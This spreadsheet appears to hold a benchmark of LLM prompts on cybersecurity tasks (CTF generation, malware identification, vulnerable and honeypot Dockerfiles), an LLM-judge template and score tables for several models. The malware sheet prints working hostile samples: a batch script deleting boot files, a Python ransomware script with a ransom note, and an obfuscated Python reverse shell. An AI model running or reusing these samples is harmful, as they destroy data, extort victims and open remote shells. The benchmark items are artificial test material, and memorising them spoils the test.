{"text_format":"3","workbook":"xls","n_sheets":4,"sheets":["CTFs","Malware","Honeypots","Results"],"not_rendered":{"charts":4,"external_links":1},"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"CTFs","index":0,"n_rows":6,"n_cols":2,"rows_kept":6,"merged":[[1,1,14,1]],"flags":["formulas_cached_only"]}
["Prompt","Evaluation template"]
["Generate a CTF Challenge which is about finding and exploiting vulnerabilities in web applications.","You are a LLM evaluator, I will provide you some LLMs prompts and the respective responses from the models, you will have to classify the models responses into 3 groups: correct, plausible and incorrect.\nThe correct classification only applies to the responses that fully accomplish the requested features or needs of the prompts, if the response contains all needed information and resources to the developer implement the challenge.\nThe plausible classification applies to the responses that didn't fully accomplish the requested of the prompts, for example if the model didn't provided all necessary tasks to complete the CTF if needed.\nThe correct classification only applies to the responses that fully didn't accomplish the requested features or needs of the prompts.\nUser prompt: \"\"\n\nModel response: \"\""]
["Generate a CTF Challenge which is about cracking a password hash using cryptanalysis techniques."]
["Generate a CTF Challenge which is about analyzing Python or java code to find vulnerabilities or extract hidden information."]
["Generate a CTF Challenge which is about steganography, the participants have to discover hidden information within files or images through techniques such as steganography."]
["Generate a CTF Challenge."]

{"sheet":"Malware","index":1,"n_rows":6,"n_cols":2,"rows_kept":6,"merged":[[1,1,4,1]],"flags":["formulas_cached_only"]}
["Prompts","Default evaluation prompt"]
["Analyse the following Android application:\n\\begin{lstlisting}[numbers=none,,language=Java]\nimport android.os.Bundle\nimport androidx.appcompat.app.AppCompatActivity\nimport okhttp3.OkHttpClient\nimport retrofit2.Call\nimport retrofit2.Retrofit\nimport retrofit2.converter.scalars.ScalarsConverterFactory\nimport retrofit2.http.GET\n\nclass MainActivity : AppCompatActivity() {\n    private val tU = \"http://www.myexample.com\"\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_main)\n\n        val r = Retrofit.Builder()\n            .baseUrl(tU)\n            .client(OkHttpClient())\n            .addConverterFactory(ScalarsConverterFactory.create())\n            .build()\n        val a = r.create(IApi::class.java)\n        sr(a)\n    }\n    private fun sr(a: IApi) {\n        while (true) {\n            val c: Call<String> = IApi.g()\n            c.enqueue(object : retrofit2.Callback<String> {\n                override fun onResponse(c: Call<String>, response: retrofit2.Response<String>) {\n                }\n                override fun onFailure(c: Call<String>, t: Throwable) {\n                }\n            })\n        }\n    }\n    interface IApi {\n        @GET(\"/\")\n        fun g(): Call<String>\n    }\n}\n\\end{lstlisting}\n\\textit{Question:} Does this application contains malware?","You are a LLM evaluator, I will provide you some LLMs prompts and the respective responses from the models, you will have to classify the models responses into 3 groups: correct, plausible and incorrect.\nThe correct classification only applies to the responses that fully accomplish the requested features or needs of the prompts.\nThe plausible classification applies to the responses that didn't fully accomplish the requested of the prompts.\nThe correct classification only applies to the responses that fully didn't accomplish the requested features or needs of the prompts.\n\nUser prompt: \"\"\n\nModel response: \"\""]
["  Analyse the following Windows script:\n\\begin{lstlisting}[numbers=none,,language=bash]\n@echo off\nattrib -r -s -h c:autoexec.bat\ndel c:autoexec.bat\nattrib -r -s -h c:boot.ini\ndel c:boot.ini\nattrib -r -s -h c:ntldr\ndel c:ntldr\nattrib -r -s -h c:windowswin.ini\ndel c:windowswin.ini\n@echo off\nshutdown -s -t 7 -c \"A\"\n\\end{lstlisting}\n\\textbf{Question:} Does this script contains malware?"]
["Analyse the following Python script:\n\\begin{lstlisting}[numbers=none,,language=Python,breaklines=true]\nimport os\nimport tkinter\nfrom random import randint\nfrom Crypto.Hash import SHA256\nroot = tkinter.Tk()\nroot.withdraw()\ndef encrypt_file(key,filename):\n chunksize=65536\n direx,ext=os.path.splitext(filename)\n ext += ' '* (16- (len(ext) % 16))\n outputfile=direx+'.r'\n filesize=str(os.path.getsize(filename)).zfill(16)\n IV=\"1234\"\n for i in range(16):\n  IV +=chr(randint(0,255))\n encryptor=AES.new(key, AES.MODE_CBC, IV)\n with open(filename,'rb') as infile:\n  with open(outputfile,'wb') as outfile:\n   outfile.write(ext)\n   outfile.write(filesize)\n   outfile.write(IV)\n   while True:\n    chunk=infile.read(chunksize)\n    if len(chunk)==0:\n     break\n    elif len(chunk) % 16 != 0:\n     chunk += (16-(len(chunk)) % 16)\n    outfile.write(encryptor.encrypt(chunk))\n os.unlink(filename)\n return\ndef doThings():\n paths=[os.getenv('HOME')]\n key=\"somerandomkey\"\n hashkey=SHA256.new(key).digest()\n try:\n  for path_to_go in paths:\n   for root, dirs, files in os.walk(path_to_go):\n    for names in files:\n     print \"[+]Encrypting\\t\"+names\n     encrypt_file(hashkey,str(os.path.join(root,names)))\n except Exception as e:\n  pass\n try:\n  notify()\n except Exception as e:\n  pass\ndoThings()\n\ntkinter.messagebox.showinfo(\"Hello\", \"All your data is now encrypted, if you want it back send 1ETH to 0x14ba8c331863\")\n\\end{lstlisting}\n\\textit{Question:} Does this script contains malware?"]
["  Analyse the following Python script:\n\\begin{lstlisting}[numbers=none,language=Python,breaklines=true]\nimport base64\nimport os\nimport socket\nimport subprocess\n\nk = \"c2VjcmV0\"\n\ndef c1(ct):\n ct = base64.b64decode(ct).hex()\n ct_bytes = bytes.fromhex(ct)\n k = base64.b64decode(k).hex()\n k_b = bytes(k, 'utf-8')\n d_b = bytes(x ^ y for x, y in zip(ct_bytes, k_b * (len(ct_bytes) // len(k_b) + 1)))\n d_t = d_b.decode('utf-8')\n return d_t\n\nh=c1(\"QlxRXFRCS0tSXFZA\")\np=9999\ns = getattr(socket, c1(\"AAoAGQAA\"))\ns = s()\ngetattr(s, c1(\"EAoNHAAXBw==\"))((h,p))\n\nwhile True:\n d=getattr(s, c1(\"AQAABA==\"))(1024)\n if d[:2].decode('utf-8')=='cd':\n  os.chdir(d[3:].decode('utf-8'))\n if len(d)>0:\n  f = getattr(subprocess, c1(\"IwoTFws=\"))\n  c=f(d.decode('utf-8'),shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n  ob=c.stdout.read()+c.stderr.read()\n  ost=str(ob)\n  getattr(s, c1(\"AAANFg==\"))(str.encode(ost + str(os.getcwd())) +'>')\n\\end{lstlisting}\n    \\textit{Question:} Does this script contains malware?"]
["Simple version of the previous script without reflection and obfuscation, compiled into a exe file"]

{"sheet":"Honeypots","index":2,"n_rows":5,"n_cols":2,"rows_kept":5,"merged":[[1,1,4,1]],"flags":["formulas_cached_only"]}
["Prompts","Default evaluation prompt"]
["Generate a Dockerfile that instantiates a version of the nginx server that has been affected by CVE-2022-41741.","You are a LLM evaluator, I will provide you some LLMs prompts and the respective responses from the models, you will have to classify the models responses into 3 groups: correct, plausible and incorrect.\nThe correct classification only applies to the responses that fully accomplish the requested features or needs of the prompts.\nThe plausible classification applies to the responses that didn't fully accomplish the requested of the prompts.\nThe correct classification only applies to the responses that fully didn't accomplish the requested features or needs of the prompts.\n\nUser prompt: \"\"\n\nModel response: \"\""]
["Generate a Dockerfile that instantiates a server that has been affected by the CVE-2017-5638."]
["Generate a Dockerfile that instantiates a Honeypot server."]
["Develop a honeypot mechanism to deceive attackers. "]

{"sheet":"Results","index":3,"n_rows":46,"n_cols":17,"rows_kept":46,"merged":[[1,4,1,8],[11,4,11,8],[21,4,21,7]],"flags":["formulas_cached_only"]}
[]
[{"$nulls":3},"Model","Malware"]
[{"$nulls":4},"P1","P2","P3","P4","P5","Total"]
[{"$nulls":3},"Mixtral",1,2,2,2,2,90,{"$nulls":3},"accuracy"]
[{"$nulls":3},"GPT-3,5",2,2,2,2,2,100,{"$nulls":4},"Malware","CTF","Honeypot"]
[{"$nulls":3},"GPT-4",2,2,2,2,2,100,{"$nulls":3},"Mixtral",90,70,87.5]
[{"$nulls":3},"Claude 3",2,2,2,2,2,100,{"$nulls":3},"GPT-3,5",100,90,100]
[{"$nulls":3},"Gemini",1,2,2,2,2,90,{"$nulls":3},"GPT-4",100,90,100]
[{"$nulls":3},"Llama 3",2,2,2,2,2,100,{"$nulls":3},"Claude 3 Opus",100,90,100]
[{"$nulls":3},"Code Llama",2,2,0,2,0,60,{"$nulls":3},"Gemini",90,30,87.5]
[{"$nulls":13},"Llama 3",100,70,87.5]
[{"$nulls":4},"CTF",{"$nulls":8},"Code Llama",60,20,50]
[{"$nulls":3},"Model","P1","P2","P3","P4","P5","Total"]
[{"$nulls":3},"Mixtral 7x8b",2,2,1,1,1,70]
[{"$nulls":3},"GPT-3,5",2,2,2,1,2,90]
[{"$nulls":3},"GPT-4",2,2,2,1,2,90]
[{"$nulls":3},"Claude 3 Opus",2,2,2,1,2,90]
[{"$nulls":3},"Gemini",0,2,0,1,0,30]
[{"$nulls":3},"Llama 3 70b",1,2,2,1,1,70]
[{"$nulls":3},"Code Llama 70b",1,1,0,0,0,20,{"$nulls":3},"Malware"]
[{"$nulls":14},"Correct","Plausible","Incorrect"]
[{"$nulls":4},"Honeypot",{"$nulls":8},"Mixtral",4,1,0]
[{"$nulls":3},"Model","P1","P2","P3","P4","Total",{"$nulls":4},"GPT-3,5",5,0,0]
[{"$nulls":3},"Mixtral",2,1,2,2,87.5,{"$nulls":4},"GPT-4",5,0,0]
[{"$nulls":3},"GPT-3,5",2,2,2,2,100,{"$nulls":4},"Claude 3 Opus",5,0,0]
[{"$nulls":3},"GPT-4",2,2,2,2,100,{"$nulls":4},"Gemini",4,1,0]
[{"$nulls":3},"Claude 3",2,2,2,2,100,{"$nulls":4},"Llama 3",5,0,0]
[{"$nulls":3},"Gemini",2,1,2,2,87.5,{"$nulls":4},"Code Llama",3,0,2]
[{"$nulls":3},"Llama 3",2,2,2,1,87.5,{"$nulls":4},"CTF"]
[{"$nulls":3},"Code Llama",1,0,1,2,50,{"$nulls":5},"Correct","Plausible","Incorrect"]
[{"$nulls":13},"Mixtral",2,3,0]
[{"$nulls":13},"GPT-3,5",4,1,0]
[{"$nulls":13},"GPT-4",4,1,0]
[{"$nulls":13},"Claude 3 Opus",4,1,0]
[{"$nulls":13},"Gemini",1,1,3]
[{"$nulls":13},"Llama 3",2,3,0]
[{"$nulls":13},"Code Llama",0,2,3]
[{"$nulls":13},"Honeypot"]
[{"$nulls":14},"Correct","Plausible","Incorrect"]
[{"$nulls":13},"Mixtral",3,1,0]
[{"$nulls":13},"GPT-3,5",4,0,0]
[{"$nulls":13},"GPT-4",4,0,0]
[{"$nulls":13},"Claude 3 Opus",4,0,0]
[{"$nulls":13},"Gemini",3,1,0]
[{"$nulls":13},"Llama 3",3,1,0]
[{"$nulls":13},"Code Llama",1,2,1]